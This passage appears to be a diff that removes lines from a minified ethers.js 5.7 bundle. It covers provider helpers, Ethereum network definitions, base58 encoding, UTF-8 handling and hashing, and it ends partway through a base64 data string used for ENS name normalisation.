Object.getPrototypeOf(t2.prototype).constructor; - } - return null; - } - function Cf(t2) { - return pf(this, void 0, void 0, function* () { - const e2 = Object.keys(t2).map((e3) => { - const r4 = t2[e3]; - return Promise.resolve(r4).then((t3) => ({ key: e3, value: t3 })); - }); - return (yield Promise.all(e2)).reduce((t3, e3) => (t3[e3.key] = e3.value, t3), {}); - }); - } - function mf(t2) { - const e2 = {}; - for (const r4 in t2) - e2[r4] = t2[r4]; - return e2; - } - var Bf = { bigint: true, boolean: true, function: true, number: true, string: true }; - function Ef(t2) { - if (null == t2 || Bf[typeof t2]) - return true; - if (Array.isArray(t2) || "object" == typeof t2) { - if (!Object.isFrozen(t2)) - return false; - const e2 = Object.keys(t2); - for (let r4 = 0; r4 < e2.length; r4++) { - let n2 = null; - try { - n2 = t2[e2[r4]]; - } catch (t3) { - continue; - } - if (!Ef(n2)) - return false; - } - return true; - } - return df.throwArgumentError("Cannot deepCopy " + typeof t2, "object", t2); - } - function wf(t2) { - if (Ef(t2)) - return t2; - if (Array.isArray(t2)) - return Object.freeze(t2.map((t3) => vf(t3))); - if ("object" == typeof t2) { - const e2 = {}; - for (const r4 in t2) { - const n2 = t2[r4]; - void 0 !== n2 && If(e2, r4, vf(n2)); - } - return e2; - } - return df.throwArgumentError("Cannot deepCopy " + typeof t2, "object", t2); - } - function vf(t2) { - return wf(t2); - } - var _f = class { - constructor(t2) { - for (const e2 in t2) - this[e2] = vf(t2[e2]); - } - }; - Al(), il(); - var Qf = function(t2, e2, r4, n2) { - return new (r4 || (r4 = Promise))(function(A2, i2) { - function o2(t3) { - try { - a2(n2.next(t3)); - } catch (t4) { - i2(t4); - } - } - function s2(t3) { - try { - a2(n2.throw(t3)); - } catch (t4) { - i2(t4); - } - } - function a2(t3) { - var e3; - t3.done ? A2(t3.value) : (e3 = t3.value, e3 instanceof r4 ? e3 : new r4(function(t4) { - t4(e3); - })).then(o2, s2); - } - a2((n2 = n2.apply(t2, e2 || [])).next()); - }); - }; - var bf = new Gl("abstract-provider/5.7.0"); - var kf = class extends _f { - static isForkEvent(t2) { - return !(!t2 || !t2._isForkEvent); - } - }; - var Df = class t2 { - constructor() { - bf.checkAbstract(new.target, t2), If(this, "_isProvider", true); - } - getFeeData() { - return Qf(this, void 0, void 0, function* () { - const { block: t3, gasPrice: e2 } = yield Cf({ block: this.getBlock("latest"), gasPrice: this.getGasPrice().catch((t4) => null) }); - let r4 = null, n2 = null, A2 = null; - return t3 && t3.baseFeePerGas && (r4 = t3.baseFeePerGas, A2 = hf.from("1500000000"), n2 = t3.baseFeePerGas.mul(2).add(A2)), { lastBaseFeePerGas: r4, maxFeePerGas: n2, maxPriorityFeePerGas: A2, gasPrice: e2 }; - }); - } - addListener(t3, e2) { - return this.on(t3, e2); - } - removeListener(t3, e2) { - return this.off(t3, e2); - } - static isProvider(t3) { - return !(!t3 || !t3._isProvider); - } - }; - Al(), il(), Al(), il(); - var Sf = new Gl("networks/5.7.1"); - function Nf(t2) { - const e2 = function(e3, r4) { - null == r4 && (r4 = {}); - const n2 = []; - if (e3.InfuraProvider && "-" !== r4.infura) - try { - n2.push(new e3.InfuraProvider(t2, r4.infura)); - } catch (t3) { - } - if (e3.EtherscanProvider && "-" !== r4.etherscan) - try { - n2.push(new e3.EtherscanProvider(t2, r4.etherscan)); - } catch (t3) { - } - if (e3.AlchemyProvider && "-" !== r4.alchemy) - try { - n2.push(new e3.AlchemyProvider(t2, r4.alchemy)); - } catch (t3) { - } - if (e3.PocketProvider && "-" !== r4.pocket) { - const A2 = ["goerli", "ropsten", "rinkeby", "sepolia"]; - try { - const i2 = new e3.PocketProvider(t2, r4.pocket); - i2.network && -1 === A2.indexOf(i2.network.name) && n2.push(i2); - } catch (t3) { - } - } - if (e3.CloudflareProvider && "-" !== r4.cloudflare) - try { - n2.push(new e3.CloudflareProvider(t2)); - } catch (t3) { - } - if (e3.AnkrProvider && "-" !== r4.ankr) - try { - const A2 = ["ropsten"], i2 = new e3.AnkrProvider(t2, r4.ankr); - i2.network && -1 === A2.indexOf(i2.network.name) && n2.push(i2); - } catch (t3) { - } - if (0 === n2.length) - return null; - if (e3.FallbackProvider) { - let A2 = 1; - return null != r4.quorum ? A2 = r4.quorum : "homestead" === t2 && (A2 = 2), new e3.FallbackProvider(n2, A2); - } - return n2[0]; - }; - return e2.renetwork = function(t3) { - return Nf(t3); - }, e2; - } - function Mf(t2, e2) { - const r4 = function(r5, n2) { - return r5.JsonRpcProvider ? new r5.JsonRpcProvider(t2, e2) : null; - }; - return r4.renetwork = function(e3) { - return Mf(t2, e3); - }, r4; - } - var xf = { chainId: 1, ensAddress: "0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e", name: "homestead", _defaultProvider: Nf("homestead") }; - var Ff = { chainId: 3, ensAddress: "0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e", name: "ropsten", _defaultProvider: Nf("ropsten") }; - var Pf = { chainId: 63, name: "classicMordor", _defaultProvider: Mf("https://www.ethercluster.com/mordor", "classicMordor") }; - var Tf = { unspecified: { chainId: 0, name: "unspecified" }, homestead: xf, mainnet: xf, morden: { chainId: 2, name: "morden" }, ropsten: Ff, testnet: Ff, rinkeby: { chainId: 4, ensAddress: "0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e", name: "rinkeby", _defaultProvider: Nf("rinkeby") }, kovan: { chainId: 42, name: "kovan", _defaultProvider: Nf("kovan") }, goerli: { chainId: 5, ensAddress: "0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e", name: "goerli", _defaultProvider: Nf("goerli") }, kintsugi: { chainId: 1337702, name: "kintsugi" }, sepolia: { chainId: 11155111, name: "sepolia", _defaultProvider: Nf("sepolia") }, classic: { chainId: 61, name: "classic", _defaultProvider: Mf("https://www.ethercluster.com/etc", "classic") }, classicMorden: { chainId: 62, name: "classicMorden" }, classicMordor: Pf, classicTestnet: Pf, classicKotti: { chainId: 6, name: "classicKotti", _defaultProvider: Mf("https://www.ethercluster.com/kotti", "classicKotti") }, xdai: { chainId: 100, name: "xdai" }, matic: { chainId: 137, name: "matic", _defaultProvider: Nf("matic") }, maticmum: { chainId: 80001, name: "maticmum" }, optimism: { chainId: 10, name: "optimism", _defaultProvider: Nf("optimism") }, "optimism-kovan": { chainId: 69, name: "optimism-kovan" }, "optimism-goerli": { chainId: 420, name: "optimism-goerli" }, arbitrum: { chainId: 42161, name: "arbitrum" }, "arbitrum-rinkeby": { chainId: 421611, name: "arbitrum-rinkeby" }, "arbitrum-goerli": { chainId: 421613, name: "arbitrum-goerli" }, bnb: { chainId: 56, name: "bnb" }, bnbt: { chainId: 97, name: "bnbt" } }; - function Rf(t2) { - t2 = atob(t2); - const e2 = []; - for (let r4 = 0; r4 < t2.length; r4++) - e2.push(t2.charCodeAt(r4)); - return jl(e2); - } - function Uf(t2) { - t2 = jl(t2); - let e2 = ""; - for (let r4 = 0; r4 < t2.length; r4++) - e2 += String.fromCharCode(t2[r4]); - return btoa(e2); - } - Al(), il(), Al(), il(), Al(), il(), Al(), il(); - var Gf = class { - constructor(t2) { - If(this, "alphabet", t2), If(this, "base", t2.length), If(this, "_alphabetMap", {}), If(this, "_leader", t2.charAt(0)); - for (let e2 = 0; e2 < t2.length; e2++) - this._alphabetMap[t2.charAt(e2)] = e2; - } - encode(t2) { - let e2 = jl(t2); - if (0 === e2.length) - return ""; - let r4 = [0]; - for (let t3 = 0; t3 < e2.length; ++t3) { - let n3 = e2[t3]; - for (let t4 = 0; t4 < r4.length; ++t4) - n3 += r4[t4] << 8, r4[t4] = n3 % this.base, n3 = n3 / this.base | 0; - for (; n3 > 0; ) - r4.push(n3 % this.base), n3 = n3 / this.base | 0; - } - let n2 = ""; - for (let t3 = 0; 0 === e2[t3] && t3 < e2.length - 1; ++t3) - n2 += this._leader; - for (let t3 = r4.length - 1; t3 >= 0; --t3) - n2 += this.alphabet[r4[t3]]; - return n2; - } - decode(t2) { - if ("string" != typeof t2) - throw new TypeError("Expected String"); - let e2 = []; - if (0 === t2.length) - return new Uint8Array(e2); - e2.push(0); - for (let r4 = 0; r4 < t2.length; r4++) { - let n2 = this._alphabetMap[t2[r4]]; - if (void 0 === n2) - throw new Error("Non-base" + this.base + " character"); - let A2 = n2; - for (let t3 = 0; t3 < e2.length; ++t3) - A2 += e2[t3] * this.base, e2[t3] = 255 & A2, A2 >>= 8; - for (; A2 > 0; ) - e2.push(255 & A2), A2 >>= 8; - } - for (let r4 = 0; t2[r4] === this._leader && r4 < t2.length - 1; ++r4) - e2.push(0); - return jl(new Uint8Array(e2.reverse())); - } - }; - new Gf("abcdefghijklmnopqrstuvwxyz234567"); - var Hf = new Gf("123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"); - Al(), il(), Al(), il(); - Al(), il(); - var Lf = hf.from(0); - Al(), il(); - Al(), il(), Al(), il(), Al(), il(); - var Of = nl(al()); - function Yf(t2) { - return "0x" + Of.default.keccak_256(jl(t2)); - } - Al(), il(), Al(), il(), Al(), il(); - var Kf; - var Jf; - var jf; - var zf; - var qf = new Gl("strings/5.7.0"); - function Xf(t2, e2, r4, n2, A2) { - if (t2 === jf.BAD_PREFIX || t2 === jf.UNEXPECTED_CONTINUE) { - let t3 = 0; - for (let n3 = e2 + 1; n3 < r4.length && r4[n3] >> 6 == 2; n3++) - t3++; - return t3; - } - return t2 === jf.OVERRUN ? r4.length - e2 - 1 : 0; - } - (Jf = Kf || (Kf = {})).current = "", Jf.NFC = "NFC", Jf.NFD = "NFD", Jf.NFKC = "NFKC", Jf.NFKD = "NFKD", (zf = jf || (jf = {})).UNEXPECTED_CONTINUE = "unexpected continuation byte", zf.BAD_PREFIX = "bad codepoint prefix", zf.OVERRUN = "string overrun", zf.MISSING_CONTINUE = "missing continuation byte", zf.OUT_OF_RANGE = "out of UTF-8 range", zf.UTF16_SURROGATE = "UTF-16 surrogate", zf.OVERLONG = "overlong representation"; - var Vf = Object.freeze({ error: function(t2, e2, r4, n2, A2) { - return qf.throwArgumentError(`invalid codepoint at offset ${e2}; ${t2}`, "bytes", r4); - }, ignore: Xf, replace: function(t2, e2, r4, n2, A2) { - return t2 === jf.OVERLONG ? (n2.push(A2), 0) : (n2.push(65533), Xf(t2, e2, r4)); - } }); - function Wf(t2, e2) { - null == e2 && (e2 = Vf.error), t2 = jl(t2); - const r4 = []; - let n2 = 0; - for (; n2 < t2.length; ) { - const A2 = t2[n2++]; - if (!(A2 >> 7)) { - r4.push(A2); - continue; - } - let i2 = null, o2 = null; - if (192 == (224 & A2)) - i2 = 1, o2 = 127; - else if (224 == (240 & A2)) - i2 = 2, o2 = 2047; - else { - if (240 != (248 & A2)) { - n2 += e2(128 == (192 & A2) ? jf.UNEXPECTED_CONTINUE : jf.BAD_PREFIX, n2 - 1, t2, r4); - continue; - } - i2 = 3, o2 = 65535; - } - if (n2 - 1 + i2 >= t2.length) { - n2 += e2(jf.OVERRUN, n2 - 1, t2, r4); - continue; - } - let s2 = A2 & (1 << 8 - i2 - 1) - 1; - for (let A3 = 0; A3 < i2; A3++) { - let A4 = t2[n2]; - if (128 != (192 & A4)) { - n2 += e2(jf.MISSING_CONTINUE, n2, t2, r4), s2 = null; - break; - } - s2 = s2 << 6 | 63 & A4, n2++; - } - null !== s2 && (s2 > 1114111 ? n2 += e2(jf.OUT_OF_RANGE, n2 - 1 - i2, t2, r4, s2) : s2 >= 55296 && s2 <= 57343 ? n2 += e2(jf.UTF16_SURROGATE, n2 - 1 - i2, t2, r4, s2) : s2 <= o2 ? n2 += e2(jf.OVERLONG, n2 - 1 - i2, t2, r4, s2) : r4.push(s2)); - } - return r4; - } - function Zf(t2, e2 = Kf.current) { - e2 != Kf.current && (qf.checkNormalize(), t2 = t2.normalize(e2)); - let r4 = []; - for (let e3 = 0; e3 < t2.length; e3++) { - const n2 = t2.charCodeAt(e3); - if (n2 < 128) - r4.push(n2); - else if (n2 < 2048) - r4.push(n2 >> 6 | 192), r4.push(63 & n2 | 128); - else if (55296 == (64512 & n2)) { - e3++; - const A2 = t2.charCodeAt(e3); - if (e3 >= t2.length || 56320 != (64512 & A2)) - throw new Error("invalid utf-8 string"); - const i2 = 65536 + ((1023 & n2) << 10) + (1023 & A2); - r4.push(i2 >> 18 | 240), r4.push(i2 >> 12 & 63 | 128), r4.push(i2 >> 6 & 63 | 128), r4.push(63 & i2 | 128); - } else - r4.push(n2 >> 12 | 224), r4.push(n2 >> 6 & 63 | 128), r4.push(63 & n2 | 128); - } - return jl(r4); - } - function $f(t2, e2) { - return Wf(t2, e2).map((t3) => t3 <= 65535 ? String.fromCharCode(t3) : (t3 -= 65536, String.fromCharCode(55296 + (t3 >> 10 & 1023), 56320 + (1023 & t3)))).join(""); - } - function tp(t2) { - return Yf(Zf(t2)); - } - Al(), il(), Al(), il(); - var ep = "hash/5.7.0"; - function rp(t2, e2) { - null == e2 && (e2 = 1); - const r4 = [], n2 = r4.forEach, A2 = function(t3, e3) { - n2.call(t3, function(t4) { - e3 > 0 && Array.isArray(t4) ? A2(t4, e3 - 1) : r4.push(t4); - }); - }; - return A2(t2, e2), r4; - } - function np(t2) { - return /* @__PURE__ */ function(t3) { - let e2 = 0; - return () => t3[e2++]; - }(function(t3) { - let e2 = 0; - function r4() { - return t3[e2++] << 8 | t3[e2++]; - } - let n2 = r4(), A2 = 1, i2 = [0, 1]; - for (let t4 = 1; t4 < n2; t4++) - i2.push(A2 += r4()); - let o2 = r4(), s2 = e2; - e2 += o2; - let a2 = 0, c2 = 0; - function h2() { - return 0 == a2 && (c2 = c2 << 8 | t3[e2++], a2 = 8), c2 >> --a2 & 1; - } - const g2 = Math.pow(2, 31), u2 = g2 >>> 1, l2 = u2 >> 1, f2 = g2 - 1; - let p2 = 0; - for (let t4 = 0; t4 < 31; t4++) - p2 = p2 << 1 | h2(); - let d2 = [], I2 = 0, y2 = g2; - for (; ; ) { - let t4 = Math.floor(((p2 - I2 + 1) * A2 - 1) / y2), e3 = 0, r5 = n2; - for (; r5 - e3 > 1; ) { - let n3 = e3 + r5 >>> 1; - t4 < i2[n3] ? r5 = n3 : e3 = n3; - } - if (0 == e3) - break; - d2.push(e3); - let o3 = I2 + Math.floor(y2 * i2[e3] / A2), s3 = I2 + Math.floor(y2 * i2[e3 + 1] / A2) - 1; - for (; !((o3 ^ s3) & u2); ) - p2 = p2 << 1 & f2 | h2(), o3 = o3 << 1 & f2, s3 = s3 << 1 & f2 | 1; - for (; o3 & ~s3 & l2; ) - p2 = p2 & u2 | p2 << 1 & f2 >>> 1 | h2(), o3 = o3 << 1 ^ u2, s3 = (s3 ^ u2) << 1 | u2 | 1; - I2 = o3, y2 = 1 + s3 - o3; - } - let C2 = n2 - 4; - return d2.map((e3) => { - switch (e3 - C2) { - case 3: - return C2 + 65792 + (t3[s2++] << 16 | t3[s2++] << 8 | t3[s2++]); - case 2: - return C2 + 256 + (t3[s2++] << 8 | t3[s2++]); - case 1: - return C2 + t3[s2++]; - default: - return e3 - 1; - } - }); - }(t2)); - } - function Ap(t2) { - return 1 & t2 ? ~t2 >> 1 : t2 >> 1; - } - function ip(t2, e2) { - let r4 = Array(t2); - for (let n2 = 0, A2 = -1; n2 < t2; n2++) - r4[n2] = A2 += 1 + e2(); - return r4; - } - function op(t2, e2) { - let r4 = Array(t2); - for (let n2 = 0, A2 = 0; n2 < t2; n2++) - r4[n2] = A2 += Ap(e2()); - return r4; - } - function sp(t2, e2) { - let r4 = ip(t2(), t2), n2 = t2(), A2 = ip(n2, t2), i2 = function(t3, e3) { - let r5 = Array(t3); - for (let n3 = 0; n3 < t3; n3++) - r5[n3] = 1 + e3(); - return r5; - }(n2, t2); - for (let t3 = 0; t3 < n2; t3++) - for (let e3 = 0; e3 < i2[t3]; e3++) - r4.push(A2[t3] + e3); - return e2 ? r4.map((t3) => e2[t3]) : r4; - } - function ap(t2, e2, r4) { - let n2 = Array(t2).fill(void 0).map(() => []); - for (let A2 = 0; A2 < e2; A2++) - op(t2, r4).forEach((t3, e3) => n2[e3].push(t3)); - return n2; - } - function cp(t2, e2) { - let r4 = 1 + e2(), n2 = e2(), A2 = function(t3) { - let e3 = []; - for (; ; ) { - let r5 = t3(); - if (0 == r5) - break; - e3.push(r5); - } - return e3; - }(e2); - return rp(ap(A2.length, 1 + t2, e2).map((t3, e3) => { - const i2 = t3[0], o2 = t3.slice(1); - return Array(A2[e3]).fill(void 0).map((t4, e4) => { - let A3 = e4 * n2; - return [i2 + e4 * r4, o2.map((t5) => t5 + A3)]; - }); - })); - } - function hp(t2, e2) { - return ap(1 + e2(), 1 + t2, e2).map((t3) => [t3[0], t3.slice(1)]); - } - Al(), il(), Al(), il(), Al(), il(); - var gp = np(Rf("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